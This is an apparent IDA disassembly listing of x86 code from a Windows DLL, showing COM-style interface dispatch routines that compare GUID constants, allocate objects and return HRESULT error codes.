sub_69B240EA	proc near		; DATA XREF: .text:69B1A0A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B240EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B240F3	proc near		; DATA XREF: .text:69B1A0A8o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B2D599
		call	sub_69B2E860
		jmp	loc_69B1D7D5
sub_69B240F3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D617


loc_69B24110:				; CODE XREF: sub_69B1D617+14j
		mov	eax, 80004001h
		jmp	loc_69B1D689
; END OF FUNCTION CHUNK	FOR sub_69B1D617

; =============== S U B	R O U T	I N E =======================================



sub_69B2411A	proc near		; DATA XREF: .text:69B1D69Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B2411A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B24123	proc near		; DATA XREF: .text:69B1D6A0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax
		jmp	loc_69B1D682
sub_69B24123	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D6A4


loc_69B24140:				; CODE XREF: sub_69B1D6A4+Cj
		mov	dword ptr [ecx+40h], 4
		jmp	locret_69B1D6B6
; END OF FUNCTION CHUNK	FOR sub_69B1D6A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E09D


loc_69B2414C:				; CODE XREF: sub_69B1E09D+11j
		mov	eax, 80004005h
		jmp	loc_69B1E0DD
; END OF FUNCTION CHUNK	FOR sub_69B1E09D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BCCF


loc_69B24156:				; CODE XREF: sub_69B1BCCF+Cj
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1BCCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E570


loc_69B24159:				; CODE XREF: sub_69B1E570+15j
		call	sub_69B1E031
		push	esi
		call	sub_69B3FC59
		jmp	loc_69B1E58B
; END OF FUNCTION CHUNK	FOR sub_69B1E570
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18E72


loc_69B24169:				; CODE XREF: sub_69B18E72+11j
		mov	eax, 80004005h
		jmp	loc_69B18EB5
; END OF FUNCTION CHUNK	FOR sub_69B18E72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1C04C


loc_69B24173:				; CODE XREF: sub_69B1C04C+44j
		jz	loc_69B2435B
		test	eax, eax
		jz	loc_69B24337
		cmp	eax, 3
		jz	loc_69B242CD
		cmp	eax, 20400h
		jz	short loc_69B241D2
		cmp	eax, 6D5140C1h
		jnz	loc_69B1C0C2
		push	offset dword_69B2B040
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		push	14h
		call	sub_69B1D897
		mov	[ebp-30h], eax
		test	eax, eax
		jz	loc_69B24865
		push	dword ptr [ebp-1Ch]
		mov	ecx, eax
		call	sub_69B88436
		jmp	loc_69B24867
; ---------------------------------------------------------------------------


loc_69B241D2:				; CODE XREF: sub_69B1C04C+8143j
		push	offset dword_69B2AFE0
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		xor	ecx, ecx
		mov	[ebp-20h], ecx
		mov	al, [edi+8Dh]
		cmp	ebx, 3
		jnz	short loc_69B24256
		mov	[ebp-31h], al
		test	al, al
		jz	short loc_69B2422A
		cmp	[ebp+8], ecx
		jz	short loc_69B2420B
		push	dword ptr [ebp+8]
		jmp	loc_69B247D3
; ---------------------------------------------------------------------------


loc_69B2420B:				; CODE XREF: sub_69B1C04C+81B5j
		push	44h
		call	sub_69B1D897
		mov	[ebp-38h], eax
		test	eax, eax
		jz	loc_69B24797
		push	edi
		mov	ecx, eax
		call	sub_69B592CE
		jmp	loc_69B24799
; ---------------------------------------------------------------------------


loc_69B2422A:				; CODE XREF: sub_69B1C04C+81B0j
		cmp	[ebp+10h], ecx
		jz	short loc_69B24237
		push	dword ptr [ebp+10h]
		jmp	loc_69B247D3
; ---------------------------------------------------------------------------


loc_69B24237:				; CODE XREF: sub_69B1C04C+81E1j
		push	1Ch
		call	sub_69B1D897
		mov	[ebp-3Ch], eax
		test	eax, eax
		jz	loc_69B24797
		push	edi
		mov	ecx, eax
		call	sub_69B1DF3D
		jmp	loc_69B24799
; ---------------------------------------------------------------------------


loc_69B24256:				; CODE XREF: sub_69B1C04C+81A9j
		mov	[ebp-3Dh], al
		test	al, al
		jz	short loc_69B24277
		cmp	[ebp+0Ch], ecx


loc_69B24260:				; CODE XREF: sub_69B1C04C+85AAj
		jz	short loc_69B2426A
		push	dword ptr [ebp+0Ch]
		jmp	loc_69B247D3
; ---------------------------------------------------------------------------


loc_69B2426A:				; CODE XREF: sub_69B1C04C:loc_69B24260j
		mov	ecx, [ebp-1Ch]
		call	sub_69B48B01
		jmp	loc_69B24799
; ---------------------------------------------------------------------------


loc_69B24277:				; CODE XREF: sub_69B1C04C+820Fj
		cmp	[ebp+14h], ecx
		jnz	loc_69B247D0
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+8]
		shr	eax, 14h
		push	1Ch
		test	al, 1
		jz	short loc_69B242AE
		call	sub_69B1D897
		mov	[ebp-44h], eax


loc_69B24297:				; CODE XREF: sub_69B1C04C+8704j
		test	eax, eax
		jz	loc_69B24797
		push	dword ptr [ebp-1Ch]
		mov	ecx, eax
		call	sub_69B45B61
		jmp	loc_69B24799
; ---------------------------------------------------------------------------


loc_69B242AE:				; CODE XREF: sub_69B1C04C+8241j
		call	sub_69B1D897
		mov	[ebp-48h], eax


loc_69B242B6:				; CODE XREF: sub_69B1C04C+8746j
					; sub_69B1C04C+879Fj
		test	eax, eax
		jz	loc_69B24797
		push	dword ptr [ebp-1Ch]
		mov	ecx, eax
		call	sub_69B458D3
		jmp	loc_69B24799
; ---------------------------------------------------------------------------


loc_69B242CD:				; CODE XREF: sub_69B1C04C+8138j
		cmp	ebx, 3
		jz	loc_69B1C0F9
		push	offset dword_69B2B030
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		mov	ecx, [ebp-1Ch]
		call	sub_69B1B42A
		test	eax, eax
		jz	loc_69B1C10D
		mov	edi, [ebp+0Ch]
		mov	[ebp-4Ch], edi
		test	edi, edi
		jnz	short loc_69B24312
		mov	ecx, [ebp-1Ch]
		call	sub_69B48B01
		mov	edi, eax
		mov	[ebp-4Ch], edi


loc_69B24312:				; CODE XREF: sub_69B1C04C+82B7j
		push	esi		; int
		push	dword ptr [ebp+18h] ; int
		push	edi		; punkOuter
		lea	ecx, [edi+24h]	; ppunkMarshal
		call	sub_69B88245
		mov	[ebp-20h], eax
		cmp	dword ptr [ebp+0Ch], 0
		jnz	loc_69B1C10D
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		jmp	loc_69B1C10D
; ---------------------------------------------------------------------------


loc_69B24337:				; CODE XREF: sub_69B1C04C+812Fj
		push	offset stru_69B1CA6C
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 3
		jnz	loc_69B24813
		push	edi
		jmp	loc_69B24816
; ---------------------------------------------------------------------------


loc_69B2435B:				; CODE XREF: sub_69B1C04C:loc_69B24173j
		push	offset dword_69B2B050
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		mov	al, [edi+8Dh]
		mov	[ebp-4Dh], al
		test	al, al
		jz	loc_69B1C10D
		cmp	ebx, 3
		jnz	short loc_69B243BA
		mov	eax, [ebp+8]
		test	eax, eax
		jz	short loc_69B24396
		add	eax, 34h


loc_69B24390:				; CODE XREF: sub_69B1C04C+8378j
		push	eax
		jmp	loc_69B24816
; ---------------------------------------------------------------------------


loc_69B24396:				; CODE XREF: sub_69B1C04C+833Fj
		push	44h
		call	sub_69B1D897
		mov	[ebp-54h], eax
		test	eax, eax
		jz	short loc_69B243AE
		push	edi
		mov	ecx, eax
		call	sub_69B592CE
		jmp	short loc_69B243B0
; ---------------------------------------------------------------------------


loc_69B243AE:				; CODE XREF: sub_69B1C04C+8356j
		xor	eax, eax


loc_69B243B0:				; CODE XREF: sub_69B1C04C+8360j
		mov	ecx, eax
		add	eax, 34h
		jmp	loc_69B24702
; ---------------------------------------------------------------------------


loc_69B243BA:				; CODE XREF: sub_69B1C04C+8338j
		mov	eax, [ebp+0Ch]
		test	eax, eax
		jz	short loc_69B243C6
		add	eax, 18h
		jmp	short loc_69B24390
; ---------------------------------------------------------------------------


loc_69B243C6:				; CODE XREF: sub_69B1C04C+8373j
		mov	ecx, [ebp-1Ch]
		call	sub_69B48B01


loc_69B243CE:				; CODE XREF: sub_69B1C04C+8647j
		mov	ecx, eax
		add	eax, 18h
		jmp	loc_69B24702
; ---------------------------------------------------------------------------


loc_69B243D8:				; CODE XREF: sub_69B1C04C+81j
		mov	ecx, 2933BF8Ah
		cmp	eax, ecx
		ja	loc_69B2459F
		jz	loc_69B2456E
		sub	eax, 2933BF80h
		jz	loc_69B24567
		sub	eax, 4
		jz	loc_69B2452C
		dec	eax
		jz	loc_69B244F6
		dec	eax
		jz	loc_69B244C6
		dec	eax
		jz	short loc_69B2448B
		dec	eax
		jz	short loc_69B24455
		dec	eax
		jnz	loc_69B1C0F4
		push	offset dword_69B25DA4
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 5
		jz	short loc_69B2443D
		cmp	ebx, 12h
		jnz	loc_69B1C10D


loc_69B2443D:				; CODE XREF: sub_69B1C04C+83E6j
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-5Ch], eax
		mov	ecx, eax
		add	eax, 8
		jmp	loc_69B24702
; ---------------------------------------------------------------------------


loc_69B24455:				; CODE XREF: sub_69B1C04C+83C5j
		push	offset dword_69B25DB4
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 2
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-60h], eax
		mov	ecx, eax
		add	eax, 0Ch
		jmp	loc_69B24702
; ---------------------------------------------------------------------------


loc_69B2448B:				; CODE XREF: sub_69B1C04C+83C2j
		push	offset dword_69B25DC4
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 1
		jz	short loc_69B244AE
		cmp	ebx, 6
		jnz	loc_69B1C10D


loc_69B244AE:				; CODE XREF: sub_69B1C04C+8457j
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-64h], eax


loc_69B244BC:				; CODE XREF: sub_69B1C04C+8516j
					; sub_69B1C04C+854Ej
		mov	ecx, eax
		add	eax, 10h
		jmp	loc_69B24702
; ---------------------------------------------------------------------------


loc_69B244C6:				; CODE XREF: sub_69B1C04C+83BBj
		push	offset dword_69B25DD4
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		test	ebx, ebx
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-68h], eax
		jmp	loc_69B24867
; ---------------------------------------------------------------------------


loc_69B244F6:				; CODE XREF: sub_69B1C04C+83B4j
		push	offset dword_69B25DE4
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 0Fh
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-6Ch], eax
		mov	ecx, eax
		add	eax, 4
		jmp	loc_69B24702
; ---------------------------------------------------------------------------


loc_69B2452C:				; CODE XREF: sub_69B1C04C+83ADj
		push	offset dword_69B25DF4
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 1
		jz	short loc_69B24554
		cmp	ebx, 6
		jz	short loc_69B24554
		cmp	ebx, 2
		jnz	loc_69B1C10D


loc_69B24554:				; CODE XREF: sub_69B1C04C+84F8j
					; sub_69B1C04C+84FDj
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-70h], eax
		jmp	loc_69B244BC
; ---------------------------------------------------------------------------


loc_69B24567:				; CODE XREF: sub_69B1C04C+83A4j
		push	offset dword_69B25E54
		jmp	short loc_69B245DE
; ---------------------------------------------------------------------------


loc_69B2456E:				; CODE XREF: sub_69B1C04C+8399j
		push	offset dword_69B25D94
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 6
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-74h], eax
		jmp	loc_69B244BC
; ---------------------------------------------------------------------------


loc_69B2459F:				; CODE XREF: sub_69B1C04C+8393j
		cmp	eax, 2933BF8Bh
		jz	loc_69B246CE
		cmp	eax, 2933BF8Ch
		jz	loc_69B24698
		cmp	eax, 2933BF8Dh
		jz	loc_69B24667
		cmp	eax, 2933BF8Eh
		jz	short loc_69B24631
		cmp	eax, 3EFAA413h
		jz	short loc_69B245FB
		cmp	eax, 0F5078F16h
		jnz	loc_69B1C0F4
		push	offset dword_69B248C8


loc_69B245DE:				; CODE XREF: sub_69B1C04C+8520j
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		and	dword ptr [ebp-20h], 0
		cmp	dword ptr [ebp+0Ch], 0
		jmp	loc_69B24260
; ---------------------------------------------------------------------------


loc_69B245FB:				; CODE XREF: sub_69B1C04C+8580j
		push	offset dword_69B25E44
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 11h
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-78h], eax
		mov	ecx, eax
		add	eax, 14h
		jmp	loc_69B24702
; ---------------------------------------------------------------------------


loc_69B24631:				; CODE XREF: sub_69B1C04C+8579j
		push	offset dword_69B25D54
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 0Bh
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-7Ch], eax
		mov	ecx, eax
		add	eax, 20h
		jmp	loc_69B24702
; ---------------------------------------------------------------------------


loc_69B24667:				; CODE XREF: sub_69B1C04C+856Ej
		push	offset dword_69B25D64
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 7
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-80h], eax
		jmp	loc_69B243CE
; ---------------------------------------------------------------------------


loc_69B24698:				; CODE XREF: sub_69B1C04C+8563j
		push	offset dword_69B25D74
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 8
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-84h], eax
		mov	ecx, eax
		add	eax, 1Ch
		jmp	short loc_69B24702
; ---------------------------------------------------------------------------


loc_69B246CE:				; CODE XREF: sub_69B1C04C+8558j
		push	offset dword_69B25D84
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		cmp	ebx, 4
		jnz	loc_69B1C10D
		push	dword ptr [ebp+0Ch]
		mov	ecx, [ebp-1Ch]
		call	sub_69B43E46
		mov	[ebp-88h], eax
		mov	ecx, eax
		add	eax, 24h


loc_69B24702:				; CODE XREF: sub_69B1C04C+8369j
					; sub_69B1C04C+8387j ...
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[esi], ecx
		jmp	loc_69B24869
; ---------------------------------------------------------------------------


loc_69B2470F:				; CODE XREF: sub_69B1C04C+A2j
		push	offset dword_69B24898
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+8]
		shr	eax, 14h
		test	al, 1
		jz	loc_69B1C10D
		and	dword ptr [ebp-20h], 0
		cmp	dword ptr [ebp+14h], 0
		jnz	loc_69B247D0
		push	1Ch
		call	sub_69B1D897
		mov	[ebp-8Ch], eax
		jmp	loc_69B24297
; ---------------------------------------------------------------------------


loc_69B24755:				; CODE XREF: sub_69B1C04C+97j
		push	offset dword_69B248B8
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+8]
		shr	eax, 14h
		test	al, 1
		jnz	loc_69B1C10D
		and	dword ptr [ebp-20h], 0
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_69B247D0
		push	1Ch
		call	sub_69B1D897
		mov	[ebp-90h], eax
		jmp	loc_69B242B6
; ---------------------------------------------------------------------------


loc_69B24797:				; CODE XREF: sub_69B1C04C+81CBj
					; sub_69B1C04C+81F7j ...
		xor	eax, eax


loc_69B24799:				; CODE XREF: sub_69B1C04C+81D9j
					; sub_69B1C04C+8205j ...
		mov	[esi], eax
		jmp	loc_69B1C10D
; ---------------------------------------------------------------------------


loc_69B247A0:				; CODE XREF: sub_69B1C04C+8Cj
		push	offset sub_69B248A8
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+8]
		shr	eax, 14h
		test	al, 1
		jnz	loc_69B1C10D
		and	dword ptr [ebp-20h], 0
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_69B247DE


loc_69B247D0:				; CODE XREF: sub_69B1C04C+822Ej
					; sub_69B1C04C+86F1j ...
		push	dword ptr [ebp+14h]


loc_69B247D3:				; CODE XREF: sub_69B1C04C+81BAj
					; sub_69B1C04C+81E6j ...
		push	esi
		call	sub_69B17320
		jmp	loc_69B1C10D
; ---------------------------------------------------------------------------


loc_69B247DE:				; CODE XREF: sub_69B1C04C+8782j
		push	1Ch
		call	sub_69B1D897
		mov	[ebp-94h], eax
		jmp	loc_69B242B6
; ---------------------------------------------------------------------------


loc_69B247F0:				; CODE XREF: sub_69B1C04C+70j
		push	offset dword_69B25ED4
		jmp	short loc_69B24803
; ---------------------------------------------------------------------------


loc_69B247F7:				; CODE XREF: sub_69B1C04C+65j
		push	offset dword_69B281F0
		jmp	short loc_69B24803
; ---------------------------------------------------------------------------


loc_69B247FE:				; CODE XREF: sub_69B1C04C+5Aj
		push	offset dword_69B248D8


loc_69B24803:				; CODE XREF: sub_69B1C04C+87A9j
					; sub_69B1C04C+87B0j
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D


loc_69B24813:				; CODE XREF: sub_69B1C04C+8303j
		push	dword ptr [ebp-1Ch]


loc_69B24816:				; CODE XREF: sub_69B1C04C+830Aj
					; sub_69B1C04C+8345j
		push	esi
		call	sub_69B17320
		jmp	short loc_69B24869
; ---------------------------------------------------------------------------


loc_69B2481E:				; CODE XREF: sub_69B1C04C+4Fj
		push	offset dword_69B2AFC0
		push	dword ptr [ebp+18h]
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C10D
		mov	al, [edi+8Dh]
		mov	[ebp-95h], al
		test	al, al
		jz	loc_69B1C10D
		push	18h
		call	sub_69B1D897
		mov	[ebp-9Ch], eax
		test	eax, eax
		jz	short loc_69B24865
		push	dword ptr [ebp-1Ch]
		push	edi
		mov	ecx, eax
		call	sub_69B1E03D
		jmp	short loc_69B24867
; ---------------------------------------------------------------------------


loc_69B24865:				; CODE XREF: sub_69B1C04C+8171j
					; sub_69B1C04C+880Aj
		xor	eax, eax


loc_69B24867:				; CODE XREF: sub_69B1C04C+8181j
					; sub_69B1C04C+84A5j ...
		mov	[esi], eax


loc_69B24869:				; CODE XREF: sub_69B1C04C+86BEj
					; sub_69B1C04C+87D0j
		and	dword ptr [ebp-20h], 0
		jmp	loc_69B1C10D
; END OF FUNCTION CHUNK	FOR sub_69B1C04C

; =============== S U B	R O U T	I N E =======================================



sub_69B24872	proc near		; DATA XREF: .text:69B1C124o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B24872	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2487B	proc near		; DATA XREF: .text:69B1C128o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		jmp	loc_69B1C10A
sub_69B2487B	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B24898	dd 0D4D4A0FCh, 11D13B73h, 0C000B4B2h, 9625B94Fh
					; DATA XREF: sub_69B1C04C:loc_69B2470Fo
					; .data:off_69B990B8o

; =============== S U B	R O U T	I N E =======================================



sub_69B248A8	proc near		; DATA XREF: sub_69B1C04C:loc_69B247A0o
					; .data:off_69B99070o
		jmp	edx
sub_69B248A8	endp

; ---------------------------------------------------------------------------
		dw 2B8Dh
		dd 11D18D2Dh, 0C000FCB2h, 0A915D94Fh
dword_69B248B8	dd 3F7F31ACh, 11D0E15Fh, 0C000259Ch, 8E9CC94Fh
					; DATA XREF: sub_69B1C04C:loc_69B24755o
dword_69B248C8	dd 0F5078F16h, 11D3C551h, 0B989h, 21E21FF8hdword_69B248D8	dd 0F5078F15h, 11D3C551h, 0B989h, 21E21FF8h
					; DATA XREF: sub_69B1C04C:loc_69B247FEo
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BFF8


loc_69B248E8:				; CODE XREF: sub_69B1BFF8+11j
		mov	eax, 80004005h
		jmp	loc_69B1C047
; END OF FUNCTION CHUNK	FOR sub_69B1BFF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18AE3


loc_69B248F2:				; CODE XREF: sub_69B18AE3+11j
		mov	eax, 80004005h
		jmp	loc_69B18B36
; END OF FUNCTION CHUNK	FOR sub_69B18AE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18B65


loc_69B248FC:				; CODE XREF: sub_69B18B65+Fj
		test	edi, edi
		jnz	short loc_69B24908


loc_69B24900:				; CODE XREF: sub_69B18B65+BDB8j
		and	dword ptr [esi], 0
		jmp	loc_69B18BA6
; ---------------------------------------------------------------------------


loc_69B24908:				; CODE XREF: sub_69B18B65+17j
					; sub_69B18B65+BD99j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		mov	ebx, eax
		jmp	loc_69B18B82
; ---------------------------------------------------------------------------


loc_69B24919:				; CODE XREF: sub_69B18B65+21j
		cmp	dword ptr [ebx+40h], 4
		jz	short loc_69B24900
		jmp	loc_69B18B8C
; ---------------------------------------------------------------------------


loc_69B24924:				; CODE XREF: sub_69B18B65+33j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		cmp	eax, ebx
		jz	loc_69B18B9E
		mov	ecx, [esi]
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		jmp	loc_69B18B7A
; END OF FUNCTION CHUNK	FOR sub_69B18B65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1DE55


loc_69B24942:				; CODE XREF: sub_69B1DE55+15j
		mov	edi, [esi+0Ch]
		shr	eax, 1Fh
		test	al, 1
		jnz	short loc_69B2495E
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F8h]
		test	al, al
		jnz	short loc_69B2495E
		xor	bl, bl
		jmp	short loc_69B24960
; ---------------------------------------------------------------------------


loc_69B2495E:				; CODE XREF: sub_69B1DE55+6AF5j
					; sub_69B1DE55+6B03j
		mov	bl, 1


loc_69B24960:				; CODE XREF: sub_69B1DE55+6B07j
		mov	ecx, esi
		call	sub_69B17355
		mov	esi, eax
		xor	eax, eax
		test	bl, bl
		setnz	al
		inc	eax
		cmp	esi, eax
		jnz	loc_69B1DF08
		mov	ecx, edi
		call	sub_69B1E0E2
		jmp	loc_69B1DF08
; ---------------------------------------------------------------------------


loc_69B24985:				; CODE XREF: sub_69B1DE55+23j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F8h]
		jmp	loc_69B1DF0F
; ---------------------------------------------------------------------------


loc_69B24994:				; CODE XREF: sub_69B1DE55+33j
		shr	ebx, 3
		jmp	loc_69B1DE90
; ---------------------------------------------------------------------------


loc_69B2499C:				; CODE XREF: sub_69B1DE55+58j
		mov	ecx, [ebp+var_8]
		call	sub_69B1E0E2
		jmp	loc_69B1DEB3
; ---------------------------------------------------------------------------


loc_69B249A9:				; CODE XREF: sub_69B1DE55+72j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F8h]
		test	al, al
		jnz	loc_69B1DECD
		xor	cl, cl
		jmp	loc_69B1DECF
; ---------------------------------------------------------------------------


loc_69B249C2:				; CODE XREF: sub_69B1DE55+7Ej
		mov	eax, [ebp+var_C]
		shr	eax, 3
		jmp	loc_69B1DEDB
; ---------------------------------------------------------------------------


loc_69B249CD:				; CODE XREF: sub_69B1DE55+98j
					; sub_69B1DE55+A1j
		push	[ebp+var_C]
		lea	eax, [esi+4]
		push	eax
		call	sub_69B18788
		cmp	[ebp+var_1], 0
		jz	short loc_69B249E7
		mov	ecx, [ebp+var_8]
		call	sub_69B3F0A6


loc_69B249E7:				; CODE XREF: sub_69B1DE55+6B88j
		mov	[ebp+var_8], edi
		mov	[ebp+var_1], bl
		jmp	loc_69B1DEA9
; END OF FUNCTION CHUNK	FOR sub_69B1DE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BEB8


loc_69B249F2:				; CODE XREF: sub_69B1BEB8+30j
		push	edi
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		test	ebx, ebx
		jnz	loc_69B1BEEE
		mov	eax, [edi+8]
		mov	eax, [eax+10h]
		cmp	eax, dword_69B95A54
		jnz	loc_69B1BEEE
		or	dword ptr [esi+8], 2
		mov	ecx, [edi+8]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+2Ch]
		push	eax
		call	sub_69B20F54
		shl	eax, 4
		xor	eax, [esi+8]
		mov	ecx, 3F0h
		and	eax, ecx
		xor	[esi+8], eax
		mov	eax, [esi+8]
		mov	edx, eax
		and	edx, ecx
		cmp	edx, 270h
		jnz	short loc_69B24A50
		and	eax, 0FFFFFC0Fh
		mov	[esi+8], eax


loc_69B24A50:				; CODE XREF: sub_69B1BEB8+8B8Ej
		mov	eax, [esi+8]
		test	eax, ecx
		setnz	cl
		movzx	ecx, cl
		shl	ecx, 0Eh
		xor	ecx, eax
		and	ecx, 4000h
		xor	ecx, eax
		mov	[esi+8], ecx
		jmp	loc_69B1BEEE
; END OF FUNCTION CHUNK	FOR sub_69B1BEB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1DE10


loc_69B24A70:				; CODE XREF: sub_69B1DE10+11j
		mov	eax, 80004005h
		jmp	loc_69B1DE50
; END OF FUNCTION CHUNK	FOR sub_69B1DE10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BE7F


loc_69B24A7A:				; CODE XREF: sub_69B1BE7F+13j
		call	sub_69B1DAA0
		test	eax, eax
		jz	loc_69B1BEB4
		push	0
		push	esi
		push	[ebp+arg_4]
		mov	ecx, eax
		push	[ebp+arg_0]
		call	sub_69B15248
		jmp	loc_69B1BEAF
; END OF FUNCTION CHUNK	FOR sub_69B1BE7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A6EC


loc_69B24A9C:				; CODE XREF: sub_69B1A6EC+9j
		xor	eax, eax
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B1A6EC

; =============== S U B	R O U T	I N E =======================================



sub_69B24AA1	proc near		; DATA XREF: .text:69B199C4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B24AA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B24AAA	proc near		; DATA XREF: .text:69B199C8o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B2D599
		call	sub_69B2E860
		jmp	loc_69B11DE4
sub_69B24AAA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E533


loc_69B24AC7:				; CODE XREF: sub_69B1E533+2Ej
		push	hEvent		; hEvent
